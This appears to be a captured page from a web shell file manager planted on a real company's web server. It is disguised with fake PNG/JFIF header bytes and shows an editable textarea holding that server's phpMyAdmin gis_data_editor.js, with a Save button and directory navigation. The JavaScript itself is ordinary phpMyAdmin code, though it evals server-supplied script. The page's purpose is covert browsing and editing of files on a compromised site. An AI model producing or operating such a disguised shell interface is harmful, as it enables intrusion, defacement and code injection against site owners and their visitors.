�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fjubilaeumsaktion.kaisers-original.com%2F'>jubilaeumsaktion.kaisers-original.com</a>/<a href='?path=%2Fbig%2Fweb%2Fjubilaeumsaktion.kaisers-original.com%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fjubilaeumsaktion.kaisers-original.com%2Fhtdocs%2FphpMyAdmin%2F'>phpMyAdmin</a>/<a href='?path=%2Fbig%2Fweb%2Fjubilaeumsaktion.kaisers-original.com%2Fhtdocs%2FphpMyAdmin%2Fjs%2F'>js</a>/<a href='?path=%2Fbig%2Fweb%2Fjubilaeumsaktion.kaisers-original.com%2Fhtdocs%2FphpMyAdmin%2Fjs%2Fdist%2F'>dist</a>/</p><hr><h3>✏️ Editing: gis_data_editor.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/**
 * @fileoverview    functions used in GIS data editor
 *
 * @requires    jQuery
 *
 */

/* global addZoomPanControllers, storeGisSvgRef, selectVisualization, styleOSM, zoomAndPan */ // js/table/gis_visualization.js
/* global themeImagePath */ // templates/javascript/variables.twig

// eslint-disable-next-line no-unused-vars
var gisEditorLoaded = false;

/**
 * Closes the GIS data editor and perform necessary clean up work.
 */
function closeGISEditor() {
  $(&#039;#popup_background&#039;).fadeOut(&#039;fast&#039;);
  $(&#039;#gis_editor&#039;).fadeOut(&#039;fast&#039;, function () {
    $(this).empty();
  });
}

/**
 * Prepares the HTML received via AJAX.
 */
function prepareJSVersion() {
  // Change the text on the submit button
  $(&#039;#gis_editor&#039;).find(&#039;input[name=\&#039;gis_data[save]\&#039;]&#039;).val(Messages.strCopy).insertAfter($(&#039;#gis_data_textarea&#039;)).before(&#039;&lt;br&gt;&lt;br&gt;&#039;);

  // Add close and cancel links
  $(&#039;#gis_data_editor&#039;).prepend(&#039;&lt;a class=&quot;close_gis_editor&quot; href=&quot;#&quot;&gt;&#039; + Messages.strClose + &#039;&lt;/a&gt;&#039;);
  $(&#039;&lt;a class=&quot;cancel_gis_editor&quot; href=&quot;#&quot;&gt; &#039; + Messages.strCancel + &#039;&lt;/a&gt;&#039;).insertAfter($(&#039;input[name=\&#039;gis_data[save]\&#039;]&#039;));

  // Remove the unnecessary text
  $(&#039;div#gis_data_output p&#039;).remove();

  // Remove &#039;add&#039; buttons and add links
  $(&#039;#gis_editor&#039;).find(&#039;input.add&#039;).each(function () {
    var $button = $(this);
    $button.addClass(&#039;addJs&#039;).removeClass(&#039;add&#039;);
    var classes = $button.attr(&#039;class&#039;);
    $button.replaceWith(&#039;&lt;a class=&quot;&#039; + classes + &#039;&quot; name=&quot;&#039; + $button.attr(&#039;name&#039;) + &#039;&quot; href=&quot;#&quot;&gt;+ &#039; + $button.val() + &#039;&lt;/a&gt;&#039;);
  });
}

/**
 * Returns the HTML for a data point.
 *
 * @param {number} pointNumber point number
 * @param {string} prefix      prefix of the name
 * @return {string} the HTML for a data point
 */
function addDataPoint(pointNumber, prefix) {
  return &#039;&lt;br&gt;&#039; + Functions.sprintf(Messages.strPointN, pointNumber + 1) + &#039;: &#039; + &#039;&lt;label&gt;&#039; + Messages.strX + &#039; &lt;input type=&quot;text&quot; name=&quot;&#039; + prefix + &#039;[&#039; + pointNumber + &#039;][x]&quot; value=&quot;&quot;&gt;&#039; + &#039;&lt;/label&gt;&#039; + &#039; &lt;label&gt;&#039; + Messages.strY + &#039; &lt;input type=&quot;text&quot; name=&quot;&#039; + prefix + &#039;[&#039; + pointNumber + &#039;][y]&quot; value=&quot;&quot;&gt;&#039; + &#039;&lt;/label&gt; &#039;;
}

/**
 * Initialize the visualization in the GIS data editor.
 */
function initGISEditorVisualization() {
  storeGisSvgRef();
  // Loads either SVG or OSM visualization based on the choice
  selectVisualization();
  // Adds necessary styles to the div that contains the openStreetMap
  styleOSM();
  // Adds controllers for zooming and panning
  addZoomPanControllers();
  zoomAndPan();
}

/**
 * Loads JavaScript files and the GIS editor.
 *
 * @param value      current value of the geometry field
 * @param field      field name
 * @param type       geometry type
 * @param inputName name of the input field
 * @param token      token
 */
// eslint-disable-next-line no-unused-vars
function loadJSAndGISEditor(value, field, type, inputName) {
  var head = document.getElementsByTagName(&#039;head&#039;)[0];
  var script;
  script = document.createElement(&#039;script&#039;);
  script.type = &#039;text/javascript&#039;;
  script.src = &#039;js/dist/table/gis_visualization.js&#039;;
  head.appendChild(script);

  // OpenLayers.js is BIG and takes time. So asynchronous loading would not work.
  // Load the JS and do a callback to load the content for the GIS Editor.
  script = document.createElement(&#039;script&#039;);
  script.type = &#039;text/javascript&#039;;
  script.onreadystatechange = function () {
    if (this.readyState === &#039;complete&#039;) {
      loadGISEditor(value, field, type, inputName);
    }
  };
  script.onload = function () {
    loadGISEditor(value, field, type, inputName);
  };
  script.onerror = function () {
    loadGISEditor(value, field, type, inputName);
  };
  script.src = &#039;js/vendor/openlayers/OpenLayers.js&#039;;
  head.appendChild(script);
  gisEditorLoaded = true;
}

/**
 * Loads the GIS editor via AJAX
 *
 * @param value      current value of the geometry field
 * @param field      field name
 * @param type       geometry type
 * @param inputName name of the input field
 */
function loadGISEditor(value, field, type, inputName) {
  var $gisEditor = $(&#039;#gis_editor&#039;);
  $.post(&#039;index.php?route=/gis-data-editor&#039;, {
    &#039;field&#039;: field,
    &#039;value&#039;: value,
    &#039;type&#039;: type,
    &#039;input_name&#039;: inputName,
    &#039;get_gis_editor&#039;: true,
    &#039;ajax_request&#039;: true,
    &#039;server&#039;: CommonParams.get(&#039;server&#039;)
  }, function (data) {
    if (typeof data !== &#039;undefined&#039; &amp;&amp; data.success === true) {
      $gisEditor.html(data.gis_editor);
      initGISEditorVisualization();
      prepareJSVersion();
    } else {
      Functions.ajaxShowMessage(data.error, false);
    }
  }, &#039;json&#039;);
}

/**
 * Opens up the dialog for the GIS data editor.
 */
// eslint-disable-next-line no-unused-vars
function openGISEditor() {
  $(&#039;#popup_background&#039;).fadeIn(&#039;fast&#039;);
  $(&#039;#gis_editor&#039;).append(&#039;&lt;div id=&quot;gis_data_editor&quot;&gt;&#039; + &#039;&lt;img class=&quot;ajaxIcon&quot; id=&quot;loadingMonitorIcon&quot; src=&quot;&#039; + themeImagePath + &#039;ajax_clock_small.gif&quot; alt=&quot;&quot;&gt;&#039; + &#039;&lt;/div&gt;&#039;).fadeIn(&#039;fast&#039;);
}

/**
 * Prepare and insert the GIS data in Well Known Text format
 * to the input field.
 */
function insertDataAndClose() {
  var $form = $(&#039;form#gis_data_editor_form&#039;);
  var inputName = $form.find(&#039;input[name=\&#039;input_name\&#039;]&#039;).val();
  var argsep = CommonParams.get(&#039;arg_separator&#039;);
  $.post(&#039;index.php?route=/gis-data-editor&#039;, $form.serialize() + argsep + &#039;generate=true&#039; + argsep + &#039;ajax_request=true&#039;, function (data) {
    if (typeof data !== &#039;undefined&#039; &amp;&amp; data.success === true) {
      $(&#039;input[name=\&#039;&#039; + inputName + &#039;\&#039;]&#039;).val(data.result);
    } else {
      Functions.ajaxShowMessage(data.error, false);
    }
  }, &#039;json&#039;);
  closeGISEditor();
}

/**
 * Unbind all event handlers before tearing down a page
 */
AJAX.registerTeardown(&#039;gis_data_editor.js&#039;, function () {
  $(document).off(&#039;click&#039;, &#039;#gis_editor input[name=\&#039;gis_data[save]\&#039;]&#039;);
  $(document).off(&#039;submit&#039;, &#039;#gis_editor&#039;);
  $(document).off(&#039;change&#039;, &#039;#gis_editor input[type=\&#039;text\&#039;]&#039;);
  $(document).off(&#039;change&#039;, &#039;#gis_editor select.gis_type&#039;);
  $(document).off(&#039;click&#039;, &#039;#gis_editor a.close_gis_editor, #gis_editor a.cancel_gis_editor&#039;);
  $(document).off(&#039;click&#039;, &#039;#gis_editor a.addJs.addPoint&#039;);
  $(document).off(&#039;click&#039;, &#039;#gis_editor a.addJs.addLine&#039;);
  $(document).off(&#039;click&#039;, &#039;#gis_editor a.addJs.addPolygon&#039;);
  $(document).off(&#039;click&#039;, &#039;#gis_editor a.addJs.addGeom&#039;);
});
AJAX.registerOnload(&#039;gis_data_editor.js&#039;, function () {
  /**
   * Prepares and insert the GIS data to the input field on clicking &#039;copy&#039;.
   */
  $(document).on(&#039;click&#039;, &#039;#gis_editor input[name=\&#039;gis_data[save]\&#039;]&#039;, function (event) {
    event.preventDefault();
    insertDataAndClose();
  });

  /**
   * Prepares and insert the GIS data to the input field on pressing &#039;enter&#039;.
   */
  $(document).on(&#039;submit&#039;, &#039;#gis_editor&#039;, function (event) {
    event.preventDefault();
    insertDataAndClose();
  });

  /**
   * Trigger asynchronous calls on data change and update the output.
   */
  $(document).on(&#039;change&#039;, &#039;#gis_editor input[type=\&#039;text\&#039;]&#039;, function () {
    var $form = $(&#039;form#gis_data_editor_form&#039;);
    var argsep = CommonParams.get(&#039;arg_separator&#039;);
    $.post(&#039;index.php?route=/gis-data-editor&#039;, $form.serialize() + argsep + &#039;generate=true&#039; + argsep + &#039;ajax_request=true&#039;, function (data) {
      if (typeof data !== &#039;undefined&#039; &amp;&amp; data.success === true) {
        $(&#039;#gis_data_textarea&#039;).val(data.result);
        $(&#039;#placeholder&#039;).empty().removeClass(&#039;hasSVG&#039;).html(data.visualization);
        $(&#039;#openlayersmap&#039;).empty();
        /* TODO: the gis_data_editor should rather return JSON than JS code to eval */
        // eslint-disable-next-line no-eval
        eval(data.openLayers);
        initGISEditorVisualization();
      } else {
        Functions.ajaxShowMessage(data.error, false);
      }
    }, &#039;json&#039;);
  });

  /**
   * Update the form on change of the GIS type.
   */
  $(document).on(&#039;change&#039;, &#039;#gis_editor select.gis_type&#039;, function () {
    var $gisEditor = $(&#039;#gis_editor&#039;);
    var $form = $(&#039;form#gis_data_editor_form&#039;);
    var argsep = CommonParams.get(&#039;arg_separator&#039;);
    $.post(&#039;index.php?route=/gis-data-editor&#039;, $form.serialize() + argsep + &#039;get_gis_editor=true&#039; + argsep + &#039;ajax_request=true&#039;, function (data) {
      if (typeof data !== &#039;undefined&#039; &amp;&amp; data.success === true) {
        $gisEditor.html(data.gis_editor);
        initGISEditorVisualization();
        prepareJSVersion();
      } else {
        Functions.ajaxShowMessage(data.error, false);
      }
    }, &#039;json&#039;);
  });

  /**
   * Handles closing of the GIS data editor.
   */
  $(document).on(&#039;click&#039;, &#039;#gis_editor a.close_gis_editor, #gis_editor a.cancel_gis_editor&#039;, function () {
    closeGISEditor();
  });

  /**
   * Handles adding data points
   */
  $(document).on(&#039;click&#039;, &#039;#gis_editor a.addJs.addPoint&#039;, function () {
    var $a = $(this);
    var name = $a.attr(&#039;name&#039;);
    // Eg. name = gis_data[0][MULTIPOINT][add_point] =&gt; prefix = gis_data[0][MULTIPOINT]
    var prefix = name.substr(0, name.length - 11);
    // Find the number of points
    var $noOfPointsInput = $(&#039;input[name=\&#039;&#039; + prefix + &#039;[no_of_points]&#039; + &#039;\&#039;]&#039;);
    var noOfPoints = parseInt($noOfPointsInput.val(), 10);
    // Add the new data point
    var html = addDataPoint(noOfPoints, prefix);
    $a.before(html);
    $noOfPointsInput.val(noOfPoints + 1);
  });

  /**
   * Handles adding linestrings and inner rings
   */
  $(document).on(&#039;click&#039;, &#039;#gis_editor a.addJs.addLine&#039;, function () {
    var $a = $(this);
    var name = $a.attr(&#039;name&#039;);

    // Eg. name = gis_data[0][MULTILINESTRING][add_line] =&gt; prefix = gis_data[0][MULTILINESTRING]
    var prefix = name.substr(0, name.length - 10);
    var type = prefix.slice(prefix.lastIndexOf(&#039;[&#039;) + 1, prefix.lastIndexOf(&#039;]&#039;));

    // Find the number of lines
    var $noOfLinesInput = $(&#039;input[name=\&#039;&#039; + prefix + &#039;[no_of_lines]&#039; + &#039;\&#039;]&#039;);
    var noOfLines = parseInt($noOfLinesInput.val(), 10);

    // Add the new linesting of inner ring based on the type
    var html = &#039;&lt;br&gt;&#039;;
    var noOfPoints;
    if (type === &#039;MULTILINESTRING&#039;) {
      html += Messages.strLineString + &#039; &#039; + (noOfLines + 1) + &#039;:&#039;;
      noOfPoints = 2;
    } else {
      html += Messages.strInnerRing + &#039; &#039; + noOfLines + &#039;:&#039;;
      noOfPoints = 4;
    }
    html += &#039;&lt;input type=&quot;hidden&quot; name=&quot;&#039; + prefix + &#039;[&#039; + noOfLines + &#039;][no_of_points]&quot; value=&quot;&#039; + noOfPoints + &#039;&quot;&gt;&#039;;
    for (var i = 0; i &lt; noOfPoints; i++) {
      html += addDataPoint(i, prefix + &#039;[&#039; + noOfLines + &#039;]&#039;);
    }
    html += &#039;&lt;a class=&quot;btn btn-secondary addPoint addJs&quot; name=&quot;&#039; + prefix + &#039;[&#039; + noOfLines + &#039;][add_point]&quot; href=&quot;#&quot;&gt;+ &#039; + Messages.strAddPoint + &#039;&lt;/a&gt;&lt;br&gt;&#039;;
    $a.before(html);
    $noOfLinesInput.val(noOfLines + 1);
  });

  /**
   * Handles adding polygons
   */
  $(document).on(&#039;click&#039;, &#039;#gis_editor a.addJs.addPolygon&#039;, function () {
    var $a = $(this);
    var name = $a.attr(&#039;name&#039;);
    // Eg. name = gis_data[0][MULTIPOLYGON][add_polygon] =&gt; prefix = gis_data[0][MULTIPOLYGON]
    var prefix = name.substr(0, name.length - 13);
    // Find the number of polygons
    var $noOfPolygonsInput = $(&#039;input[name=\&#039;&#039; + prefix + &#039;[no_of_polygons]&#039; + &#039;\&#039;]&#039;);
    var noOfPolygons = parseInt($noOfPolygonsInput.val(), 10);

    // Add the new polygon
    var html = Messages.strPolygon + &#039; &#039; + (noOfPolygons + 1) + &#039;:&lt;br&gt;&#039;;
    html += &#039;&lt;input type=&quot;hidden&quot; name=&quot;&#039; + prefix + &#039;[&#039; + noOfPolygons + &#039;][no_of_lines]&quot; value=&quot;1&quot;&gt;&#039; + &#039;&lt;br&gt;&#039; + Messages.strOuterRing + &#039;:&#039; + &#039;&lt;input type=&quot;hidden&quot; name=&quot;&#039; + prefix + &#039;[&#039; + noOfPolygons + &#039;][0][no_of_points]&quot; value=&quot;4&quot;&gt;&#039;;
    for (var i = 0; i &lt; 4; i++) {
      html += addDataPoint(i, prefix + &#039;[&#039; + noOfPolygons + &#039;][0]&#039;);
    }
    html += &#039;&lt;a class=&quot;btn btn-secondary addPoint addJs&quot; name=&quot;&#039; + prefix + &#039;[&#039; + noOfPolygons + &#039;][0][add_point]&quot; href=&quot;#&quot;&gt;+ &#039; + Messages.strAddPoint + &#039;&lt;/a&gt;&lt;br&gt;&#039; + &#039;&lt;a class=&quot;btn btn-secondary addLine addJs&quot; name=&quot;&#039; + prefix + &#039;[&#039; + noOfPolygons + &#039;][add_line]&quot; href=&quot;#&quot;&gt;+ &#039; + Messages.strAddInnerRing + &#039;&lt;/a&gt;&lt;br&gt;&lt;br&gt;&#039;;
    $a.before(html);
    $noOfPolygonsInput.val(noOfPolygons + 1);
  });

  /**
   * Handles adding geoms
   */
  $(document).on(&#039;click&#039;, &#039;#gis_editor a.addJs.addGeom&#039;, function () {
    var $a = $(this);
    var prefix = &#039;gis_data[GEOMETRYCOLLECTION]&#039;;
    // Find the number of geoms
    var $noOfGeomsInput = $(&#039;input[name=\&#039;&#039; + prefix + &#039;[geom_count]&#039; + &#039;\&#039;]&#039;);
    var noOfGeoms = parseInt($noOfGeomsInput.val(), 10);
    var html1 = Messages.strGeometry + &#039; &#039; + (noOfGeoms + 1) + &#039;:&lt;br&gt;&#039;;
    var $geomType = $(&#039;#gis_type_template&#039;).contents().filter(&#039;select&#039;).clone();
    $geomType.attr(&#039;name&#039;, &#039;gis_data[&#039; + noOfGeoms + &#039;][gis_type]&#039;).val(&#039;POINT&#039;);
    var html2 = &#039;&lt;br&gt;&#039; + Messages.strPoint + &#039;: &#039; + &#039;&lt;label&gt;&#039; + Messages.strX + &#039; &lt;input type=&quot;text&quot; name=&quot;gis_data[&#039; + noOfGeoms + &#039;][POINT][x]&quot; value=&quot;&quot;&gt;&#039; + &#039;&lt;/label&gt;&#039; + &#039; &lt;label&gt;&#039; + Messages.strY + &#039; &lt;input type=&quot;text&quot; name=&quot;gis_data[&#039; + noOfGeoms + &#039;][POINT][y]&quot; value=&quot;&quot;&gt;&#039; + &#039;&lt;/label&gt;&#039; + &#039;&lt;br&gt;&lt;br&gt;&#039;;
    $a.before(html1, $geomType, html2);
    $noOfGeomsInput.val(noOfGeoms + 1);
  });
});</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fjubilaeumsaktion.kaisers-original.com%2Fhtdocs%2FphpMyAdmin%2Fjs%2Fdist'>🔙 Back</a></p>